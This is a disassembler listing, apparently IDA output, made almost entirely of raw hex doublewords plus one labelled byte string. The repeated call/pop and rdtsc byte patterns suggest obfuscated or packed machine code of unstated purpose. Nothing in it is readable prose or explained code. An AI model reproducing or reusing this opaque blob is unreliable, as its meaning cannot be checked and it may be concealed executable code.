		dd 62DB9BEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	25C35747h, 0AE917h, 0B5340000h,	0A7985804h, 0A30B334Ah
		dd 1C8E9h, 0D5BD8900h, 8B062A24h, 2DB9B685h, 6D38106h
		dd 0C71AC286h, 1800h, 29BD8B00h, 8B062A0Fh, 2DB9BAB5h
		dd 8BFA8B06h, 2A04DD85h, 3DBD8B06h, 89062A32h, 0CE806h
		dd 0B07A0000h, 0F9C0F70h, 4DAF5C08h, 665015E5h,	5FEB29BFh
		dd 39858B5Fh, 6A062A29h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0EA47C351h,	1B799589h
		dd 4689062Ah, 96FE8A04h, 0E9525053h, 12h, 7C37F762h, 8314DC3h
		dd 493664DEh, 2038934h,	310FD713h, 505B585Ah, 28E0Fh
		db 2 dup(0)
aCj		db '·',0Bh,'–j',0       ; DATA XREF: ___:off_438C78o
		db 53h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 9A1C4D44h, 0B9B6B5FFh, 8166062Dh, 0E812B9DFh, 4, 1F03FFh
		dd 50D98B66h, 0BE8h, 472E3900h,	0DD9E997h, 0A970BA46h
		dd 5FD88B66h, 424448Bh,	0BF525056h, 5B73B999h, 6160310Fh
		dd 8B5F585Ah, 89A8B700h, 50042444h, 6A585Fh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 8D2942C3h
		dd 62A2099h, 0B9BE858Dh, 6A062Dh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0CCF348C3h, 0FDE3F1FCh
		dd 0B39BFE55h, 0CE909h,	5B860000h, 9474DD97h, 0CDF0DC11h
		dd 5350E641h, 2404895Fh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 18h, 6C35242h, 437F9054h, 0D359D8Bh, 95FF062Ah
		dd 62A2B81h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	1FC35747h, 18AE4386h, 3AC373FBh, 7015CDBBh, 0BF66611Eh
		dd 85C789BBh, 62A06C5h,	3, 20799D8Bh, 0BD83062Ah, 62DB9BEh
		dd 44840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0E907C351h,	3Eh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0AFC35040h, 7247A3DAh
		dd 50990663h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 0AC783CC3h, 0D09F935Ch, 6A988BFBh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0AD05C350h, 0D0D02EB8h, 6C5BD83h,	0F03062Ah
		dd 40E85h, 5D858900h, 83062A2Ah, 2DB9BEBDh, 840F0006h
		dd 3FBh, 6A40E381h, 0B5FF4153h,	62DB9BEh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 15h, 99C35242h, 0FDBD89B4h
		dd 0F062A2Ch, 95FFFABFh, 62A164Dh, 0B9B2B58Bh, 0BD8B062Dh
		dd 62A060Dh, 106C7h, 6A0001h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0C7487FC3h, 0E78166CFh
		dd 5096D435h, 310F5250h, 7A52BF66h, 0E996585Ah,	6, 99FC2B8h
		dd 0B5FF527Ah, 62DB9BEh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 78C35747h, 451458Fh, 0FFE692C4h, 2A1A3995h
		dd 5D9D8906h, 8B062A18h, 2DB9B2B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0EC230749h
		dd 17AAA640h, 85895BC5h, 62A07D9h, 12E9858Bh, 6A062Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 742D13C3h, 0BF0F7FA4h, 0C48689DEh, 8B000000h, 2A2289BDh
		dd 95958B06h, 81062A33h, 61633FE7h, 4C2837Bh, 0B5F38166h
		dd 205089B5h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Dh,	1EC35545h, 91EDEC5Eh, 90DDDB05h, 6830F4Eh, 8B000000h
		dd 2A1FB1BDh, 75958906h, 8D062A0Ch, 2DCC2C85h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0E5CC2AD2h, 0AD4EABFEh, 9D2903F3h, 62A29BDh,	0B88689h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 381D4DC3h, 4BF913CCh, 0F43360Eh, 0A85h, 61606000h
		dd 28858D89h, 6A61062Ah, 0F8BF0F00h, 0B5FFFDB7h, 62DB9BEh
		dd 73F7F381h, 95FF45A1h, 62A135Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 0A1C35141h,	0B8C973E9h, 5050C58Ah
		dd 0BB665250h, 310FF92Fh, 0F525050h, 5B585A31h,	3489585Ah
		dd 7D8D8924h, 0FF062A0Ch, 2DB9BEB5h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 6618135Dh
		dd 0FFF8A96Bh, 2A260995h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 3A2D71E0h
		dd 0BD8BEF27h, 62A19C9h, 1F61BD83h, 0F00062Ah, 2E84h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0F1958932h, 50062A02h, 3489DE8Bh, 0E59D8924h, 0FF062A05h
		dd 2DB9BEB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0F0EE12A5h, 5928F6EFh, 719D898Ch
		dd 0FF062A23h, 2A1A2995h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 58A0A8F5h
		dd 0AE93DD04h, 0C5BD8BA8h, 0E9062A07h, 0Bh, 21AB2B7h, 5A8E6984h
		dd 91E7A8Dh, 2A1FA5B5h,	0BEB5FF06h, 6A062DB9h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 3F0FC352h, 152E213h,	2A2ABD85h, 0FFFC5B06h, 2A0EC595h
		dd 45D78006h, 1F7DBD83h, 0F02062Ah, 5B84h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 3329DB31h, 0DAE78110h, 8B0141F8h, 2A0F5985h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 9915E92Bh, 0A29160C8h, 0C6F8F00Bh, 0B5890000h, 62A2801h
		dd 93585C7h, 62Ah, 11E80000h, 0F9000000h, 5C17EBDEh, 0E856912Ch
		dd 29C2AAE3h, 0BC791D54h, 0E95F2BB3h, 0FFFFF2D3h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 2FC35646h, 0FE8B1FBAh
		dd 6AC18Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 8D6EA8C3h, 2A191185h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0CE558D77h
		dd 6690A7E6h, 50D3CBBFh, 0BE95250h, 0E4000000h,	47BB9398h
		dd 113B49Ah, 310F47CBh,	0CE860h, 722C0000h, 4FAD12EAh
		dd 0EDD77C8Bh, 615B931Ah, 6690585Ah, 6A1FF5BFh,	6A006A00h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0D427C355h, 51BFCA9Dh, 8D3B53A1h,	2E9A7985h
		dd 83F88B06h, 0BF6605C0h, 5090134Fh, 0F525052h,	14E931h
		dd 0C75F0000h, 0CC59E83Ch, 0E3BEBC2h, 0B598A6h,	0DF4FA1E1h
		dd 585AD855h, 585A310Fh, 198A0F50h, 0F000000h, 1386h, 0EE900h
		dd 0ED400000h, 255699Dh, 0C7F25A25h, 5CD5F819h,	56006A90h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0E9B783ADh, 2AFC8F39h, 2CBB6636h, 1006A9Ch, 2A1AB995h
		dd 6A006A06h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0E90FC355h, 8,	0A3B296F2h, 1F3959DFh
		dd 0C0DBD29h, 95FF062Ah, 62A1275h, 0C7A602BFh, 0C7816644h
		dd 8D8D6A6Bh, 62DB966h,	0FD1FFF9h, 68Ah, 9BD8B00h, 83062A28h
		dd 2A3415BDh, 850F0106h, 0B9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h
		dd 17h,	7AC35545h, 0F91DE820h, 61606051h, 6A5F61FCh, 12E902h
		dd 453E0000h, 0E9F5FB1Ah, 0E910174Fh, 9765BE5Ch, 67A41C37h
		dd 0A11BD8Bh, 5090062Ah, 9E952h, 8F900000h, 6A82C2EDh
		dd 0F4A56F3h, 0BF665731h, 5A5FC2F4h, 6A905058h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 89F4C350h, 2A232D95h, 5D95FF06h, 6A062A13h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0A0C3C350h, 23B1BD8Bh, 6E9062Ah, 11000000h, 0CBE9E987h
		dd 0D26E96Fh, 0E80000h,	5D000000h, 9A83ED81h, 10E9062Eh
		dd 97000000h, 0C182235Dh, 6262B61Eh, 6A1B2296h,	6AA663D2h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0A2F1C353h, 0FB3832ABh, 9D011753h, 62A3349h
		dd 8DDFB70Fh, 2D96C485h, 0DB0FBF06h, 0E99050B8h, 0Bh, 2200E068h
		dd 0C90A0D55h, 50413E61h, 0EE9h, 16477700h, 0F89367AFh
		dd 0BEDBD0BFh, 90CCA76Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0CDC35343h, 0BD01272Fh, 62A2AB1h, 296D9D2Bh
		dd 0FF64062Ah, 35h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 0BA7BCFFFh, 258964h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 7F51C352h, 0E1F2645Ah, 0FCEEDE3h,	682h, 1B58900h
		dd 0FF062A25h, 2A14C185h, 0C6BB6606h, 6AFF6A7Ah, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0ED5FC355h, 0B41B5FFh, 6A062Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 60A23DC3h, 0DE9B589h
		dd 8D89062Ah, 62A25E9h,	8D95FF61h, 0E9062A23h, 11Ah, 13858D89h
		dd 0B0062Ah, 61CF8B60h,	71E470E6h, 3CF9BF0Fh, 0FF830F61h
		dd 81000000h, 37CEF7EFh, 0C8B60F49h, 0BDEB8166h, 6BA6Bh
		dd 12E90000h, 0D9000000h, 4A52D129h, 855D9970h,	28B97940h
		dd 0B4CFA02h, 0DE9EAh, 0FED90000h, 0DB02D37h, 7EF37237h
		dd 8B705CDBh, 0BD8B57C1h, 62A32F9h, 4E8C15Bh, 6606E780h
		dd 850FE2F7h, 5, 95A8FABBh, 0FC82B03h, 682h, 2AE38100h
		dd 8B052D83h, 6E9D1h, 8F0F0000h, 0
		dd 104D858Bh, 0C083062Ah, 91BD8B07h, 83062A16h,	9D3300C0h
		dd 62A0D61h, 830FD03Bh,	0Bh, 65E9h, 9DBD8B00h, 8B062A27h
		dd 2A063D8Dh, 14E906h, 69D50000h, 0F246955Dh, 0F1C7DA1Bh
		dd 31BC2554h, 6212D169h, 0E183C3E6h, 37840F01h,	0F000000h
		dd 198Eh, 14E900h, 49FF0000h, 93F4A973h, 0BFE94597h, 9055079Bh
		dd 8603ED36h, 0A583FF6Fh, 62A063Dh, 4D9589FEh, 8B062A10h
		dd 2A1791BDh, 0E906h, 0B58D0000h, 62DFB0Bh, 0EDBD8B50h
		dd 5F062A1Fh, 0E85BD8Bh, 6A062Ah, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 8CC35545h, 0BC494ECFh, 0CA84F5h
		dd 3995FFECh, 23062A34h, 2A32D5BDh, 8DEB906h, 0BD890000h
		dd 62A322Dh, 56FCE183h,	2C059D8Bh, 0FC5F062Ah, 1F19BD8Bh
		dd 0C02B062Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	31C35545h, 51ECA2B8h, 0E9A67F8Dh, 10h, 0BDD0718Dh
		dd 0C9000D9Bh, 3F85827Fh, 9F86B349h, 12E8D22Bh,	0E7000000h
		dd 1717DC1Eh, 572732A8h, 0C7DFF1A0h, 3DCADBBCh,	1BD230Bh
		dd 5B062A33h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 33E19D8Bh
		dd 6A062Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 8903D9C3h, 2A2A6DB5h, 880D06h, 0FE90000h
		dd 8B000000h, 38E55E09h, 6EEA86C4h, 0FEF9EC0Ah,	958B6157h
		dd 62A3395h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	0EEC35343h, 8991B341h, 2A26C58Dh, 0F98D8B06h, 0F062A0Bh
		dd 8B50D9B7h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 4EC35040h
		dd 68F0F53h, 8B000000h,	2A0C259Dh, 0AE85F06h, 0BF000000h
		dd 17C28017h, 72F442ADh, 835BFC22h, 2A0FA5BDh, 840F0006h
		dd 57h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h
		dd 9C35040h, 959D8B44h,	0B8062A24h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0A8C35545h
		dd 847119BEh, 8D8E8C96h, 2A4E978Dh, 66E1FF06h, 838951BFh
		dd 2A06C5BDh, 840F0006h, 3C9h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0A2C35040h,	844E5035h, 0F1954B5h
		dd 68Ch, 719D8B00h, 83062A03h, 2A06C5BDh, 840F0106h, 3A8h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 84C35040h
		dd 3D44BFCCh, 0A19D8BD5h, 66062A16h, 0BD83FA8Bh, 62A06C5h
		dd 3B860F03h, 8B000003h, 2A13A19Dh, 51858906h, 60062A17h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 8EC35141h
		dd 0DC68C263h, 0CF81C439h, 4D3D5311h, 0E9D98C66h, 0Eh
		dd 0BAB6660Dh, 8C5D36C0h, 7E7B539Fh, 0E1804193h, 0BE904h
		dd 0A8020000h, 0C5B98C77h, 0DAE12B8Dh, 0FC90A65h, 0E684h
		dd 39858B00h, 6A062A29h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 87D0C352h, 120E2F3Eh
		dd 0C5A1709h, 5F98533h,	11E8062Ah, 12000000h, 5054464Fh
		dd 64032B17h, 14408AC5h, 0B2B5F03h, 22F9B589h, 505B062Ah
		dd 4895B57h, 0FC006A24h, 11E8h,	5298FD00h, 7DBB918Bh, 2A4E9E6Bh
		dd 0B7659E30h, 9509632Bh, 62A2B51h, 0AF93685Fh,	481866Ch
		dd 0B2546C24h, 56006A79h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0F3B81825h, 8BB9943Ch
		dd 2A1BCD9Dh, 8E906h, 0FD00000h, 6605AAFCh, 95FFF83Eh
		dd 62A2B81h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	2BC35242h, 0BE858933h, 66062DB9h, 9CE9DA8Bh, 8B000001h
		dd 2DB9B685h, 5E906h, 13140000h, 0FF06061h, 683h, 8DBD8B00h
		dd 0C7062A0Fh, 1800h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0B58B174Fh, 62DB9BAh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0FBC35646h
		dd 0BD241329h, 13E9h, 63938000h, 0F057B7B1h, 300A3A7Eh
		dd 8F0E823Eh, 0E7FC7A7Bh, 4DD858Bh, 8A0F062Ah, 6, 0A50DF781h
		dd 6895D20h, 27859D33h,	858B062Ah, 62A2939h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B8C35646h, 4689F843h
		dd 52006A04h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 9589557Eh, 62A2019h, 2D45BD33h, 0BF50062Ah
		dd 23192F07h, 52243489h, 8E9h, 30C62200h, 20CB4C3Ah, 0B5FF5F13h
		dd 62DB9B6h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	1BC35141h, 7E73C832h, 3144FC68h, 0BE812h, 97A0000h
		dd 1EE65CFh, 0F45F4698h, 2921BB39h, 815B0FBAh, 47032434h
		dd 0B70F122Eh, 0BE858DD8h, 0BF062DB9h, 291FDDC9h, 0B2BF6690h
		dd 0E8605026h, 10h, 247E523Dh, 224E067Eh, 7EA564E3h, 51489995h
		dd 0AE8h, 8F034400h, 0EAE25926h, 58CF36A2h, 5052505Eh
		dd 5A310F52h, 8B310F58h, 61585ADFh, 8195FF90h, 66062A2Bh
		dd 6159A5BBh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 15h,	54C35646h, 0D8C2BFB9h, 85C74790h, 62A06C5h, 3
		dd 1299BD23h, 0BD01062Ah, 62A3319h, 0B9BEBD83h,	0F00062Dh
		dd 0D84h, 0D9BD0B00h, 0E9062A22h, 1Dh, 3050D98Bh, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 57006AC0h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 97D4D153h, 6A598Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 69D768C3h, 0DB21974Fh, 9E9B9h, 6290000h
		dd 12BF2A77h, 66D81A10h, 532DE781h, 6C5BD83h, 0F03062Ah
		dd 40385h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1C04h, 0C3504000h, 0DFE46BD3h, 3191E110h, 8330B3A4h
		dd 2DB9BEBDh, 840F0006h, 3D0h, 0DE9h, 4FF69C00h, 95A243DAh
		dd 3B3EFBB5h, 0B5FF5753h, 62DB9BEh, 5FDE8B50h, 164D95FFh
		dd 0FB8B062Ah, 0B9B2B58Bh, 9529062Dh, 62A2899h,	106C7h
		dd 6A0001h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0A1E834C3h, 0D73FB310h, 6E91276h,	95000000h
		dd 10F34C42h, 0E99D8B55h, 50062A0Ch, 6A243489h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0CEFAC357h, 0BEB5FFFDh, 0BF062DB9h, 7A5EE8D2h, 1A3995FFh
		dd 6A062Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 9DA2BBC3h, 360F88Ah, 2A1F6DB5h, 0B5B58906h
		dd 61062A27h, 0B9B2B58Bh, 6A062Dh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 9D1AEFC3h, 7F7F1C60h
		dd 0B70FF0B8h, 0E9858BFEh, 6A062A12h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0D447C357h
		dd 0C747DE7Dh, 3DBF1A94h, 89588F63h, 0C486h, 12E900h, 0C6120000h
		dd 89FC4420h, 3E16043Bh, 0C2CDA3A8h, 5FEF8F22h,	3395958Bh
		dd 0DE9062Ah, 30000000h, 8CD3233Ch, 598B1A35h, 58A516DDh
		dd 6A04C283h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 765C350h, 7EF6CD0Fh, 5106C6E0h
		dd 8B5FFA8Bh, 2A2C1DBDh, 20508906h, 8DDF8B66h, 2DCC2C85h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0F66030Dh, 8689FFB7h, 0B8h, 6A006Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 97241DC3h, 89C25EDCh, 2A320DBDh, 3DBD8B06h, 0FF062A10h
		dd 2DB9BEB5h, 5D95FF06h, 6A062A13h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0F1EC352h
		dd 68Dh, 0B99D2B00h, 50062A0Ch,	0AE9h, 4E050200h, 1DC679E7h
		dd 898AF0A3h, 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 2FD394C3h, 0CCD6CC0Dh, 9D8953F1h
		dd 62A1F79h, 16C99D01h,	0B5FF062Ah, 62DB9BEh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 6C35040h, 6D18A068h
		dd 0C332E381h, 0FE8B1191h, 260995FFh, 0BD83062Ah, 62A1F61h
		dd 33840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0C146C352h,	0AF80DA7Ah
		dd 504F8DA1h, 3489DE8Bh, 0A7D78024h, 129DBD8Bh,	0B5FF062Ah
		dd 62DB9BEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	34C35545h, 0BD8BD118h, 62A3321h, 1A2995FFh, 0E2B7062Ah
		dd 0B9BEB5FFh, 6A062Dh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h
		dd 3155BEC3h, 7FC03920h, 430EB81h, 0DB800F9Ch, 0C595FFE6h
		dd 83062A0Eh, 2A1F7DBDh, 840F0206h, 70h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ah, 0D5C35545h, 3CCDCDC4h
		dd 0BD892C2Eh, 62A1575h, 0F59858Bh, 6A062Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0E451A5C3h
		dd 37F7625Dh, 0E84DC37Ch, 9, 0AE97D6F9h, 5BD61584h, 0D8D8987h
		dd 5F062A34h, 660000C6h, 53E0C781h, 93585C7h, 62Ah, 0DF810000h
		dd 6D1B49ECh, 0FFF420E9h, 53006AFFh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0BF553E8Dh
		dd 43BEE9B3h, 8C0FC18Bh, 0Ch, 6810Fh, 9D8B0000h, 62A2871h
		dd 1911858Dh, 0D88B062Ah, 0EE950h, 2DD90000h, 839FFCD2h
		dd 356D2B29h, 2CA65AF1h, 0E9240489h, 0Ch, 244E307Ah, 0E3E4EF8Eh
		dd 1E6A4F86h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0D581D3C3h, 0F38071BBh, 0DBB70F2Ah
		dd 880F006Ah, 8, 2860Fh, 99B70000h, 0A943858Dh,	0B70F062Eh
		dd 0F19D8BD8h, 83062A0Dh, 6A05C0h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 4268E8C3h, 42106AA1h
		dd 6D9D89B9h, 90062A34h, 50FB8B66h, 0EE8h, 0E2242200h
		dd 0CB209C7h, 0D13083D8h, 0FDC147Bh, 382h, 0DE8B6600h
		dd 0BD8B905Bh, 62A06A1h, 6ADE8Bh, 8E9h,	9A592E00h, 0D15C4A96h
		dd 9006A0Fh, 2A261595h,	7595FF06h, 0F062A12h, 38Eh, 0DA8B6600h
		dd 0B9668D8Dh, 6A062Dh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0D1FF81C3h, 0CE9h, 0EAA3CF00h, 4505E379h
		dd 0C198529Fh, 15BD8354h, 1062A34h, 69850Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 68F62FC3h, 2FC8FEB0h, 8B026AF5h, 2A2A45BDh, 0AE95006h
		dd 0F5000000h, 2F805A23h, 0E4DAA6F0h, 2404892Ch, 28C0Fh
		dd 25B70000h, 135D95FFh, 0E960062Ah, 12h, 78A66ECEh, 0ABDE39E6h
		dd 0ED44EFEEh, 2F3DC619h, 53521857h, 0E9615A58h, 0D21h
		dd 0E8h, 0ED815D00h, 62EA94Dh, 0BAE78166h, 0EDB58940h
		dd 6A062A28h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 6660C353h, 0C4405A63h,	82A327CEh
		dd 1EF78166h, 0C4858DE2h, 0E8062D96h, 0Bh, 6E99D39Eh, 0CEC7917Fh
		dd 0F3CC000h, 505FDFB7h, 89240489h, 2A2535B5h, 0D88B6606h
		dd 35FF64h, 0BF000000h,	60749D2Bh, 258964h, 0BB000000h
		dd 71DEC05Eh, 14C185FFh, 6A062Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0CB81E5C3h, 305A401Ch
		dd 9509FF6Ah, 62A0B39h,	13BDB5FFh, 8B53062Ah, 2A06C1BDh
		dd 95FF5F06h, 62A238Dh,	148E9h,	0D1958900h, 0B0062A12h
		dd 0AE900h, 0FE500000h,	923F0868h, 8E06BEDFh, 9D0170E6h
		dd 62A0DC1h, 26A9BD8Bh,	71E4062Ah, 0F613CF8h, 11883h, 0D9D8B00h
		dd 0F062A03h, 9589C8B6h, 62A1B05h, 6BAh, 0E1C78000h, 0E8C1C18Bh
		dd 12E96004h, 0DB000000h, 0F0450C55h, 0F4DCB5FCh, 4914D6E4h
		dd 11C6054Ah, 0F766617Eh, 0CDBD01E2h, 0E8062A06h, 13h
		dd 3E7C8A6h, 21A6D9C0h,	4731F214h, 869A29E0h, 60AFC950h
		dd 0D95B58Bh, 5F61062Ah, 8D29C82Bh, 62A006Dh, 0BD8BD18Bh
		dd 62A04FDh, 6E9h, 8AC38100h, 8B0B1988h, 2A233D85h, 0C083F906h
		dd 0C08307h, 95C3BB66h,	830FD03Bh, 4Ah,	13E9h, 12B80100h
		dd 29E37D03h, 7A45DE4Bh, 688F6566h, 0D91DF463h,	0FE8h
		dd 2BC6DF00h, 0FA793320h, 0A47D4A11h, 95319026h, 0F8DBD23h
		dd 0E95B062Ah, 4Dh, 0C850Fh, 7E90000h, 83000000h, 680FFCE2h
		dd 8D8B2AE3h, 62A167Dh,	22518509h, 0E183062Ah, 26840F01h
		dd 29000000h, 2A082985h, 0D1858906h, 83062A09h,	2A167DA5h
		dd 8D89FE06h, 62A1EE1h,	233D9589h, 0FD8A062Ah, 0E9h, 42B58D00h
		dd 0BF062E0Bh, 586B7D15h, 0F780006Ah, 3995FFF0h, 6A062A34h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 7EA9C355h, 0FE3F44B1h, 8D5B445Dh,	814B9h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 89F88BC8h, 2A26BD85h, 0FCE18306h, 6AFCF9h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0DA8BD0C3h, 2BBCD380h, 0D88160C0h, 2A1C4CF7h, 25799D8Bh
		dd 0BA61062Ah, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0BEC35747h
		dd 0DBD31D0h, 66062A1Ah, 2C1BD381h, 0D119D31h, 33AD062Ah
		dd 3E8D1C2h, 4E983D0h, 9D8BF475h, 62A0339h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0E9C35141h, 0EEF2CBB6h
		dd 95310990h, 62A2A99h,	880Dh, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0A7E10EBCh
		dd 0AD9D898Dh, 8B062A32h, 2A339595h, 0FEBF0F06h, 0BF98D8Bh
